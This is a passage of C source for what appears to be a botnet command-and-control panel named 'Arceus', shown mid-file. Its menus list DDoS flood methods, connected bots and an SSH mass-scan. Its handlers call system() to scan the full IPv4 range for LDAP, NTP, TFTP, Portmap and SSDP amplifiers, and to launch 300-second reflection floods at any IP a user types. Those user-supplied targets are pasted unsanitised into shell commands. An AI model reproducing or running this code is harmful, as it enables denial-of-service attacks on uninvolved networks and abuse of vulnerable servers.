  1500. if(strstr(arceus_buffer_size, ".scanner") || strstr(arceus_buffer_size, ".SCANNER")) // Help Command - Displays Help Menu
  1501. {
  1502. char scanner_1 [5000]; // Char Every Line For Output Communication
  1503. sprintf(scanner_1, "\e[91m╔═════════════════════════╗\r\n\e[91m║ \e[91mArceus I \e[91m- \e[91mIPHMScanners \e[91m║\r\n\e[91m╠═════════════════════════╣ ╔═════════════════╗\r\n\e[91m║ \e[91m.lds \e[91mon \e[91m|| \e[91m.lds \e[91moff \e[91m║ ║ \e[91mLDAP Scanner \e[91m║\r\n\e[91m║ \e[91m.nts \e[91mon \e[91m|| \e[91m.nts \e[91moff \e[91m║ ║ \e[91mNTP Scanner \e[91m║\r\n\e[91m║ \e[91m.tfs \e[91mon \e[91m|| \e[91m.tfs \e[91moff \e[91m║ ║ \e[91mTFTP Scanner \e[91m║\r\n\e[91m║ \e[91m.sds \e[91mon \e[91m|| \e[91m.sds \e[91moff \e[91m║ ║ \e[91mSSDP Scanner \e[91m║\r\n\e[91m║ \e[91m.pos \e[91mon \e[91m|| \e[91m.pos \e[91moff \e[91m║ ║ \e[91mPortmap Scanner \e[91m║\r\n\e[91m║ \e[91m.cos \e[91mon \e[91m|| \e[91m.cos \e[91moff \e[91m║ ║ \e[91mChargen Scanner \e[91m║\r\n\e[91m║ \e[91m.sos \e[91mon \e[91m|| \e[91m.sos \e[91moff \e[91m║ ║ \e[91mSentinel Scanner\e[91m║\r\n\e[91m║ \e[91m.nes \e[91mon \e[91m|| \e[91m.nes \e[91moff \e[91m║ ║ \e[91mNetBios Scanner \e[91m║\r\n\e[91m║ \e[91m.mss \e[91mon \e[91m|| \e[91m.mss \e[91moff \e[91m║ ║ \e[91mMSSQL Scanner \e[91m║\r\n\e[91m║ \e[91m.tss \e[91mon \e[91m|| \e[91m.tss \e[91moff \e[91m║ ║ \e[91mTS3 Scanner \e[91m║\r\n\e[91m╚═════════════════════════╝ ╚═════════════════╝\r\n");
  1504. if(send(clear_arceus_broadcast, scanner_1, strlen(scanner_1), MSG_NOSIGNAL) == -1) goto finish_integer;
  1505. pthread_create(&title, NULL, &arceus_title_creator, sock); // Use Pthread, To Broadcast Signal, MSG_NOSIGNAL Should Be == 0
  1506. while(1)
  1507. {
  1508. sprintf(arceus, "\e[91m[\e[91m%s\e[91m@\e[91mArceus\e[91m]\e[38;5;154m$\e[91m ", accounts[find_line].username, arceus_buffer_size); // User Input - Hostname
  1509. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1510. break; // World Break!
  1511. }
  1512. continue;
  1513. }
  1514. if(strstr(arceus_buffer_size, ".clear") || strstr(arceus_buffer_size, ".CLEAR") || strstr(arceus_buffer_size, "CLEAR") || strstr(arceus_buffer_size, "clear")) // Clear The Screen - We Love Cleanliness
  1515. {
  1516. if (send(clear_arceus_broadcast, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto finish_integer;
  1517. if(send(clear_arceus_broadcast, Arceus_1, strlen(Arceus_1), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1518. pthread_create(&title, NULL, &arceus_title_creator, sock); // Use Pthread, To Broadcast Signal, MSG_NOSIGNAL Should Be == 0
  1519. while(1)
  1520. {
  1521. sprintf(arceus, "\e[91m[\e[91m%s\e[91m@\e[91mArceus\e[91m]\e[38;5;154m$\e[91m ", accounts[find_line].username, arceus_buffer_size); // User Input [Hostname]
  1522. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1523. break; // World Break!
  1524. }
  1525. continue;
  1526. }
  1527. if(strstr(arceus_buffer_size, ".STRESS") || strstr(arceus_buffer_size, ".stress")) // Display Menu - Stress Menu
  1528. {
  1529. char method_1 [5000]; // Char Every Line For Output Communication
  1530. sprintf(method_1, "\e[91m╔═════════════════════════════════════════════════════╗ \r\n\e[91m║ \e[91mArceus I \e[91m- \e[91mDDoS Method Listing \e[91m- \e[91mAttack Method CmDs \e[91m║ \r\n\e[91m╠═════════════════════════════════════════════════════╣ \r\n\e[91m║ \e[91m.STD \e[91m[\e[91mIP\e[91m] [\e[91mPORT\e[91m] [\e[91mTIME\e[91m] \e[91m║ ╔══════════════════════╗\r\n\e[91m║ \e[91m.UDP \e[91m[\e[91mIP\e[91m] [\e[91mPORT\e[91m] [\e[91mTIME\e[91m] \e[91m32 1460 10 \e[91m║ ║ \e[91mSuggested Port\e[91m:\e[91m62627 \e[91m║\r\n\e[91m║ \e[91m.JUNK \e[91m[\e[91mIP\e[91m] [\e[91mPORT\e[91m] [\e[91mTIME\e[91m] \e[91m║ ║ \e[91mSuggested PSize\e[91m:\e[91m1460 \e[91m║\r\n\e[91m║ \e[91m.STOMP \e[91m[\e[91mIP\e[91m] [\e[91mPORT\e[91m] [\e[91mTIME\e[91m] \e[91m32 ALL 1460 10 \e[91m║ ║ \e[91mSuggested Method\e[91m:\e[91mSTD \e[91m║\r\n\e[91m║ \e[91m.TCP \e[91m[\e[91mIP\e[91m] [\e[91mPORT\e[91m] [\e[91mTIME\e[91m] \e[91m32 \e[91m(\e[91mFlags\e[91m/\e[91mALL\e[91m)\e[91m 0 10 \e[91m║ ║ \e[91mSuggested Method\e[91m:\e[91mUDP \e[91m║\r\n\e[91m║ \e[91m.COMBO \e[91m[\e[91mIP\e[91m] [\e[91mPORT\e[91m] [\e[91mTIME\e[91m] \e[91m║ ║ \e[91mMax Time\e[91m: \e[91m300 \e[91m║\r\n\e[91m║ \e[91m.CRUSH \e[91m[\e[91mIP\e[91m] [\e[91mPORT\e[91m] [\e[91mTIME\e[91m] \e[91m32 ALL 1460 10 \e[91m║ ╚══════════════════════╝\r\n\e[91m║ \e[91m.STOP \e[91m[\e[91mThis will stop your attack!\e[91m] \e[91m║ \r\n\e[91m╚═════════════════════════════════════════════════════╝\r\n");
  1531. // Crush, Junk, Stomp > Taken Out Lynx -- Unstable And Causes Some Define Allocation Errors - [Will Be Fixed In ALpha]
  1532. if(send(clear_arceus_broadcast, method_1, strlen(method_1), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1533. pthread_create(&title, NULL, &arceus_title_creator, sock); // Use Pthread, To Broadcast Signal, MSG_NOSIGNAL Should Be == 0
  1534. while(1)
  1535. {
  1536. sprintf(arceus, "\e[91m[\e[91m%s\e[91m@\e[91mArceus\e[91m]\e[38;5;154m$\e[91m ", accounts[find_line].username, arceus_buffer_size); // User Input - Hostname
  1537. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1538. break; // World Break!
  1539. }
  1540. continue; // Yep...
  1541. }
  1542. if(strstr(arceus_buffer_size, ".staff") || strstr(arceus_buffer_size, ".STAFF")) // Staff Only ! - Display Menu
  1543. {
  1544. pthread_create(&title, NULL, &arceus_title_creator, sock);
  1545. char staff_cmd1 [5000]; // Char Every Line For Output Communication
  1546. sprintf(staff_cmd1, "\e[91m╔═══════════════════════════════════════════════╗\r\n\e[91m║ \e[91mArceus I \e[91m- \e[91mAdmin commands \e[91m- \e[91mAdmin Tools \e[91m║\r\n\e[91m╠═══════════════════════════════════════════════\e[91m╣\r\n\e[91m║ \e[91m.adduser \e[91m[\e[91mUsername\e[91m] \e[91m[\e[91mPassword\e[91m] \e[91m[\e[91mAdmin\e[91m/\e[91mnormal\e[91m] \e[91m║\r\n\e[91m║ \e[91m.bots \e[91m[\e[91mShows a list of connected devices\e[91m] ║\r\n\e[91m║ \e[91m.scan \e[91m[\e[91mStarts SSH Mass-Scan\e[91m] ║\r\n\e[91m║ \e[91m.install \e[91m[\e[91mInstalls all needed IPHM Scripts\e[91m] ║\r\n\e[91m║ \e[91m.scanner \e[91m[\e[91mShows a page of available Scanners\e[91m] ║\r\n\e[91m║ \e[91m.ban\e[91m [\e[91mIP\e[91m] - \e[91mBans username by IP\e[91m ║\r\n\e[91m╚═══════════════════════════════════════════════╝\r\n");
  1547. if(send(clear_arceus_broadcast, staff_cmd1, strlen(staff_cmd1), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1548. pthread_create(&title, NULL, &arceus_title_creator, sock); // Use Pthread, To Broadcast Signal, MSG_NOSIGNAL Should Be == 0
  1549. while(1)
  1550. {
  1551. sprintf(arceus, "\e[91m[\e[91m%s\e[91m@\e[91mArceus\e[91m]\e[38;5;154m$\e[91m ", accounts[find_line].username, arceus_buffer_size); // User Input - Hostname
  1552. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1553. break; // Terminate Connection.. Reinstate All Functions.
  1554. }
  1555. continue; // Let Us Continue.. We Are Nearly There..
  1556. }
  1557. if(strstr(arceus_buffer_size, ".tools") || strstr(arceus_buffer_size, ".TOOLS") || strstr(arceus_buffer_size, ".tool") || strstr(arceus_buffer_size, ".TOOL")) // Display Menu - Tools
  1558. {
  1559. pthread_create(&title, NULL, &arceus_title_creator, sock);
  1560. char tool1 [5000]; // Char Every Line For Output Communication
  1561. sprintf(tool1, " \e[91m╔═════════════════════════════════════╗\r\n \e[91m║ \e[91mArceus I \e[91m- \e[91mUser Tools \e[91m- \e[91mTool CmDs \e[91m║\r\n \e[91m╠═════════════════════════════════════╣\r\n \e[91m║ \e[91miplookup \e[91m[\e[91mIP\e[91m] - \e[91mIP Geolocation \e[91m║\r\n \e[91m║ \e[91mportscan \e[91m[\e[91mIP\e[91m] - \e[91mPortScanner \e[91m║\r\n \e[91m║ \e[91mresolve \e[91m[\e[91mHOST\e[91m] - \e[91mHostname Resolver \e[91m║\r\n \e[91m╚═════════════════════════════════════╝\r\n");
  1562. if(send(clear_arceus_broadcast, tool1, strlen(tool1), MSG_NOSIGNAL) == -1) goto finish_integer; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1563. pthread_create(&title, NULL, &arceus_title_creator, sock);
  1564. while(1)
  1565. {
  1566. sprintf(arceus, "\e[91m[\e[91m%s\e[91m@\e[91mArceus\e[91m]\e[38;5;154m$\e[91m ", accounts[find_line].username, arceus_buffer_size); // User Input - Hostname
  1567. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) goto finish_integer; // / Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1568. break; // Terminate Function Once Again, We Need More Stability..
  1569. }
  1570. continue;
  1571. }
  1572. if (strstr(arceus_buffer_size, ".ssh on") || strstr(arceus_buffer_size, ".SSH ON")) // System Command Function -- [TESTING HERE]
  1573. {
  1574. if(strcmp(Admin, accounts[find_line].identification_type) == 0) // Check If User Is Admin
  1575. {
  1576. char command[50];
  1577. trim_removev2(command);
  1578. strcpy(command, "python scripts/scan.py" );
  1579. system(command);
  1580. sprintf(arceus, "\e[91mStarting SSH Mass-Scan!\r\n");
  1581. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1582. }
  1583. else
  1584. {
  1585. sprintf(arceus, "\e[91mOwners Only!!\r\n");
  1586. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1); // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1587. }
  1588. }
  1589. if (strstr(arceus_buffer_size, ".lds on") || strstr(arceus_buffer_size, ".LDS ON")) // System Command Function -- [TESTING HERE]
  1590. {
  1591. if(strcmp(Admin, accounts[find_line].identification_type) == 0) // Check If User Is Admin
  1592. {
  1593. char command[50];
  1594. trim_removev2(command);
  1595. strcpy(command, "./amp/scanners/ldapscan 0.0.0.0 255.255.255.255 amp/lists/ldap.txt 2 1ms" );
  1596. system(command);
  1597. sprintf(arceus, "\e[91mStarting LDAP Mass-Scan!\r\n");
  1598. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1599. }
  1600. else
  1601. {
  1602. sprintf(arceus, "\e[91mOwners Only!!\r\n");
  1603. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1); // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1604. }
  1605. }
  1606. if (strstr(arceus_buffer_size, ".nts on") || strstr(arceus_buffer_size, ".NTS ON")) // System Command Function -- [TESTING HERE]
  1607. {
  1608. if(strcmp(Admin, accounts[find_line].identification_type) == 0) // Check If User Is Admin
  1609. {
  1610. char command[50];
  1611. trim_removev2(command);
  1612. strcpy(command, "./amp/scanners/ntpscan 0.0.0.0 255.255.255.255 amp/lists/ntp.txt 2 1ms" );
  1613. system(command);
  1614. sprintf(arceus, "\e[91mStarting NTP Mass-Scan!\r\n");
  1615. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1616. }
  1617. else
  1618. {
  1619. sprintf(arceus, "\e[91mOwners Only!!\r\n");
  1620. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1); // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1621. }
  1622. }
  1623. if (strstr(arceus_buffer_size, ".tfs on") || strstr(arceus_buffer_size, ".TFS ON")) // System Command Function -- [TESTING HERE]
  1624. {
  1625. if(strcmp(Admin, accounts[find_line].identification_type) == 0) // Check If User Is Admin
  1626. {
  1627. char command[50];
  1628. trim_removev2(command);
  1629. strcpy(command, "./amp/scanners/tftpscan 0.0.0.0 255.255.255.255 amp/lists/tftp.txt 2 1ms" );
  1630. system(command);
  1631. sprintf(arceus, "\e[91mStarting TFTP Mass-Scan!\r\n");
  1632. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1633. }
  1634. else
  1635. {
  1636. sprintf(arceus, "\e[91mOwners Only!!\r\n");
  1637. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1); // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1638. }
  1639. }
  1640. if (strstr(arceus_buffer_size, ".pos on") || strstr(arceus_buffer_size, ".POS ON")) // System Command Function -- [TESTING HERE]
  1641. {
  1642. if(strcmp(Admin, accounts[find_line].identification_type) == 0) // Check If User Is Admin
  1643. {
  1644. char command[50];
  1645. trim_removev2(command);
  1646. strcpy(command, "./amp/scanners/portmapscan 1.1.1.1 255.255.255.255 amp/lists/portmap.txt 2 1ms" );
  1647. system(command);
  1648. sprintf(arceus, "\e[91mStarting PORTMAP Mass-Scan!\r\n");
  1649. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1650. }
  1651. else
  1652. {
  1653. sprintf(arceus, "\e[91mOwners Only!!\r\n");
  1654. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1); // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1655. }
  1656. }
  1657. if (strstr(arceus_buffer_size, ".sds on") || strstr(arceus_buffer_size, ".SDS ON")) // System Command Function -- [TESTING HERE]
  1658. {
  1659. if(strcmp(Admin, accounts[find_line].identification_type) == 0) // Check If User Is Admin
  1660. {
  1661. char command[50];
  1662. trim_removev2(command);
  1663. strcpy(command, "./amp/scanners/ssdpscan 1.1.1.1 255.255.255.255 amp/lists/ssdp.txt 2 1ms" );
  1664. system(command);
  1665. sprintf(arceus, "\e[91mStarting SSDP Mass-Scan!\r\n");
  1666. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1667. }
  1668. else
  1669. {
  1670. sprintf(arceus, "\e[91mOwners Only!!\r\n");
  1671. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1); // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1672. }
  1673. }
  1674. if (strstr(arceus_buffer_size, ".ban") || strstr(arceus_buffer_size, ".BAN")) // System Command Function
  1675. {
  1676. char iptarget[5000]; // Char Every Line For Output Communication
  1677. char *token = strtok(arceus_buffer_size, " "); // Create Delimiter
  1678. snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
  1679. trim_removev2(iptarget); // Trim [iptarget]
  1680. char *ipkill[5000]; // Creating A System Function
  1681. trim_removev2(ipkill); // Trim [ipkill]
  1682. sprintf(ipkill, "iptables -A INPUT -s %s -j DROP", iptarget); // Default Time Has Been Set To 30 Seconds. Default Port Is 62141
  1683. system(ipkill); // System Execution
  1684. sprintf(arceus, "\e[91mIP:\e[91m[\e[91m%s\e[91m] \e[91mBanned!\r\n", iptarget);
  1685. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1686. }
  1687. if (strstr(arceus_buffer_size, ".ldap") || strstr(arceus_buffer_size, ".LDAP")) // System Command Function
  1688. {
  1689. char iptarget[5000]; // Char Every Line For Output Communication
  1690. char *token = strtok(arceus_buffer_size, " "); // Create Delimiter
  1691. snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
  1692. trim_removev2(iptarget); // Trim [iptarget]
  1693. char *ipkill[5000]; // Creating A System Function
  1694. trim_removev2(ipkill); // Trim [ipkill]
  1695. sprintf(ipkill, "echo -e '\x1b[91m[\x1b[91mArceus\x1b[91m] - \x1b[91mUser\x1b[91m:[\e[38;5;82m%s\x1b[91m] - \x1b[91mMethod\x1b[91m:[\e[38;5;82mLDAP\x1b[91m] \x1b[91mIP/Port\x1b[91m:[\e[38;5;82m%s\x1b[91m] \x1b[91mThreads\x1b[91m:[\e[38;5;82m2\x1b[91m] \x1b[91mPPS\x1b[91m:[\e[38;5;82mMAX\x1b[91m] \x1b[91mTime\x1b[91m:[\e[38;5;82m300\x1b[91m]'; echo -e '\x1b[91m[\x1b[91mArceus\x1b[91m] - \x1b[91mUser\x1b[91m:[\e[38;5;82m%s\x1b[91m] - \x1b[91mMethod\x1b[91m:[\e[38;5;82mLDAP\x1b[91m] \x1b[91mIP/Port\x1b[91m:[\e[38;5;82m%s\x1b[91m] \x1b[91mThreads\x1b[91m:[\e[38;5;82m2\x1b[91m] \x1b[91mPPS\x1b[91m:[\e[38;5;82mMAX\x1b[91m] \x1b[91mTime\x1b[91m:[\e[38;5;82m300\x1b[91m]' >> logs/Arceus_IPHM_Attack.log; ./amp/methods/layer4/v1/reflection/ldap/ldap %s amp/methods/layer4/v1/reflection/ldap/ldap.txt 2 -1 300\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget, iptarget); // Default Time Has Been Set To 30 Seconds. Default Port Is 62141
  1696. system(ipkill); // System Execution
  1697. sprintf(arceus, "\x1b[91m╔══════════════════╗\r\n\x1b[91m║ \x1b[91mAttack Sent! \x1b[91m ║ \x1b[91mIP \x1b[91m/ \x1b[91mPort\x1b[91m: \e[38;5;82m%s\r\n\x1b[91m║ \x1b[91mMethod\x1b[91m: \e[38;5;82mLDAP \x1b[91m ║ \x1b[91mTime:\x1b[91m \e[38;5;82m300\r\n\x1b[91m║ \x1b[91mUsage\x1b[91m: \e[38;5;82mIPHM-LDAP\x1b[91m ║ \x1b[91mThreads\x1b[91m: \e[38;5;82m2\r\n\x1b[91m╚══════════════════╝\r\n", iptarget);
  1698. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1699. }
  1700. /*
  1701. if (strstr(arceus_buffer_size, ".ldap") || strstr(arceus_buffer_size, ".LDAP")) // System Command Function
  1702. {
  1703. char iptarget[5000]; // Char Every Line For Output Communication
  1704. char *token = strtok(arceus_buffer_size, " "); // Create Delimiter
  1705. snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
  1706. trim_removev2(iptarget); // Trim [iptarget]
  1707. char iptime[5000]; // Char Every Line For Output Communication
  1708. char *tokenn = strtok(arceus_buffer_size, " "); // Create Delimiter
  1709. snprintf(iptime, sizeof(iptime), "%s", tokenn+strlen(tokenn)+1); // String Comparison From User Input - Using Token Size
  1710. trim_removev2(iptime); // Trim [iptime]
  1711. char *ipkill[5000]; // Creating A System Function
  1712. trim_removev2(ipkill); // Trim [ipkill]
  1713. sprintf(ipkill, "./ldap %s 62141 ldap.txt 2 -1 %s", iptarget, iptime); // Default Time Has Been Set To 30 Seconds. Default Port Is 62141
  1714. system(ipkill); // System Execution
  1715. sprintf(arceus, "Test Function Activated, IP : %s - Time : %s", iptarget, iptime);
  1716. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1717. }
  1718. */
  1719. if (strstr(arceus_buffer_size, ".ntp") || strstr(arceus_buffer_size, ".NTP")) // System Command Function
  1720. {
  1721. char iptarget[5000]; // Char Every Line For Output Communication
  1722. char *token = strtok(arceus_buffer_size, " "); // Create Delimiter
  1723. snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
  1724. trim_removev2(iptarget); // Trim [iptarget]
  1725. char *ipkill[5000]; // Creating A System Function
  1726. trim_removev2(ipkill); // Trim [ipkill]
  1727. sprintf(ipkill, "echo -e '\e[91m[\e[91mArceus\e[91m] \e[91mUser:\e[91m[\e[91m%s\e[91m] \e[91mMethod:\e[91m[\e[91mNTP\e[91m] \e[91mIP/Port:\e[91m[\e[91m%s\e[91m] \e[91mThreads:\e[91m[\e[91m2\e[91m] \e[91mPPS:\e[91m[\e[91mMAX\e[91m] \e[91mTime:\e[91m[\e[91m300\e[91m]'; echo -e '\e[91m[\e[91mArceus\e[91m] \e[91mUser:\e[91m[\e[91m%s\e[91m] \e[91mMethod:\e[91m[\e[91mNTP\e[91m] \e[91mIP/Port:\e[91m[\e[91m%s\e[91m] \e[91mThreads:\e[91m[\e[91m2\e[91m] \e[91mPPS:\e[91m[\e[91mMAX\e[91m] \e[91mTime:\e[91m[\e[91m300\e[91m]' >> logs/Arceus_IPHM_Attack.log; ./amp/methods/layer4/v1/reflection/ntp/ntp %s amp/methods/layer4/v1/reflection/ntp/ntp.txt 2 -1 300\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget, iptarget);
  1728. system(ipkill); // System Execution
  1729. sprintf(arceus, "\x1b[91m╔══════════════════╗\r\n\x1b[91m║ \x1b[91mAttack Sent! \x1b[91m║ \x1b[91mIP \x1b[91m/ \x1b[91mPort\x1b[91m: \x1b[91m%s\r\n\x1b[91m║ \x1b[91mMethod\x1b[91m: \e[38;5;82mNTP \x1b[91m║ \x1b[91mTime\x1b[91m: \x1b[91m300\r\n\x1b[91m║ \x1b[91mUsage\x1b[91m: \e[38;5;82mIPHM-NTP \x1b[91m║ \x1b[91mThreads\x1b[91m: \x1b[91m2\r\n\x1b[91m╚══════════════════╝\r\n");
  1730. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1731. }
  1732. if (strstr(arceus_buffer_size, ".ssdp") || strstr(arceus_buffer_size, ".SSDP")) // System Command Function
  1733. {
  1734. char iptarget[5000]; // Char Every Line For Output Communication
  1735. char *token = strtok(arceus_buffer_size, " "); // Create Delimiter
  1736. snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
  1737. trim_removev2(iptarget); // Trim [iptarget]
  1738. char *ipkill[5000]; // Creating A System Function
  1739. trim_removev2(ipkill); // Trim [ipkill]
  1740. sprintf(ipkill, "echo -e '\e[91m[\e[91mArceus\e[91m] \e[91mUser:\e[91m[\e[91m%s\e[91m] \e[91mMethod:\e[91m[\e[91mSSDP\e[91m] \e[91mIP/Port:\e[91m[\e[91m%s\e[91m] \e[91mThreads:\e[91m[\e[91m2\e[91m] \e[91mPPS:\e[91m[\e[91mMAX\e[91m] \e[91mTime:\e[91m[\e[91m300\e[91m]'; echo -e '\e[91m[\e[91mArceus\e[91m] \e[91mUser:\e[91m[\e[91m%s\e[91m] \e[91mMethod:\e[91m[\e[91mSSDP\e[91m] \e[91mIP/Port:\e[91m[\e[91m%s\e[91m] \e[91mThreads:\e[91m[\e[91m2\e[91m] \e[91mPPS:\e[91m[\e[91mMAX\e[91m] \e[91mTime:\e[91m[\e[91m300\e[91m]' >> logs/Arceus_IPHM_Attack.log; ./amp/methods/layer4/v1/reflection/ssdp/ssdp %s amp/methods/layer4/reflection/ssdp/ssdp.txt 2 -1 300\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget, iptarget);
  1741. system(ipkill); // System Execution
  1742. sprintf(arceus, "\x1b[91m╔══════════════════╗\r\n\x1b[91m║ \x1b[91mAttack Sent! \x1b[91m║ \x1b[91mIP \x1b[91m/ \x1b[91mPort\x1b[91m: \e[38;5;82m%s\r\n\x1b[91m║ \x1b[91mMethod\x1b[91m: \e[38;5;82mSSDP \x1b[91m║ \x1b[91mTime\x1b[91m: \e[38;5;82m300\r\n\x1b[91m║ \x1b[91mUsage\x1b[91m: \e[38;5;82mIPHM-SSDP \x1b[91m║ \x1b[91mThreads\x1b[91m: \e[38;5;82m2\r\n\x1b[91m╚══════════════════╝\r\n", iptarget);
  1743. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1744. }
  1745. if (strstr(arceus_buffer_size, ".tftp") || strstr(arceus_buffer_size, ".TFTP")) // System Command Function
  1746. {
  1747. char iptarget[5000]; // Char Every Line For Output Communication
  1748. char *token = strtok(arceus_buffer_size, " "); // Create Delimiter
  1749. snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
  1750. trim_removev2(iptarget); // Trim [iptarget]
  1751. char *ipkill[5000]; // Creating A System Function
  1752. trim_removev2(ipkill); // Trim [ipkill]
  1753. sprintf(ipkill, "echo -e '\e[91m[\e[91mArceus\e[91m] \e[91mUser:\e[91m[\e[91m%s\e[91m] \e[91mMethod:\e[91m[\e[91mTFTP\e[91m] \e[91mIP/Port:\e[91m[\e[91m%s\e[91m] \e[91mThreads:\e[91m[\e[91m2\e[91m] \e[91mPPS:\e[91m[\e[91mMAX\e[91m] \e[91mTime:\e[91m[\e[91m300\e[91m]'; echo -e '\e[91m[\e[91mArceus\e[91m] \e[91mUser:\e[91m[\e[91m%s\e[91m] \e[91mMethod:\e[91m[\e[91mTFTP\e[91m] \e[91mIP/Port:\e[91m[\e[91m%s\e[91m] \e[91mThreads:\e[91m[\e[91m2\e[91m] \e[91mPPS:\e[91m[\e[91mMAX\e[91m] \e[91mTime:\e[91m[\e[91m300\e[91m]' >> logs/Arceus_IPHM_Attack.log; ./amp/methods/layer4/v1/reflection/tftp/tftp %s amp/methods/layer4/v1/reflection/tftp/tftp.txt 2 -1 300\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget, iptarget);
  1754. system(ipkill); // System Execution
  1755. sprintf(arceus, "\x1b[91m╔══════════════════╗\r\n\x1b[91m║ \x1b[91mAttack Sent! \x1b[91m║ \x1b[91mIP \x1b[91m/ \x1b[91mPort\x1b[91m: \e[38;5;82m%s\r\n\x1b[91m║ \x1b[91mMethod\x1b[91m: \e[38;5;82mTFTP \x1b[91m║ \x1b[91mTime\x1b[91m: \e[38;5;82m300\r\n\x1b[91m║ \x1b[91mUsage\x1b[91m: \e[38;5;82mIPHM-TFTP \x1b[91m║ \x1b[91mThreads\x1b[91m: \e[38;5;82m2\r\n\x1b[91m╚══════════════════╝\r\n", iptarget);
  1756. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1757. }
  1758. if (strstr(arceus_buffer_size, ".portmap") || strstr(arceus_buffer_size, ".PORTMAP")) // System Command Function
  1759. {
  1760. char iptarget[5000]; // Char Every Line For Output Communication
  1761. char *token = strtok(arceus_buffer_size, " "); // Create Delimiter
  1762. snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
  1763. trim_removev2(iptarget); // Trim [iptarget]
  1764. char *ipkill[5000]; // Creating A System Function
  1765. trim_removev2(ipkill); // Trim [ipkill]
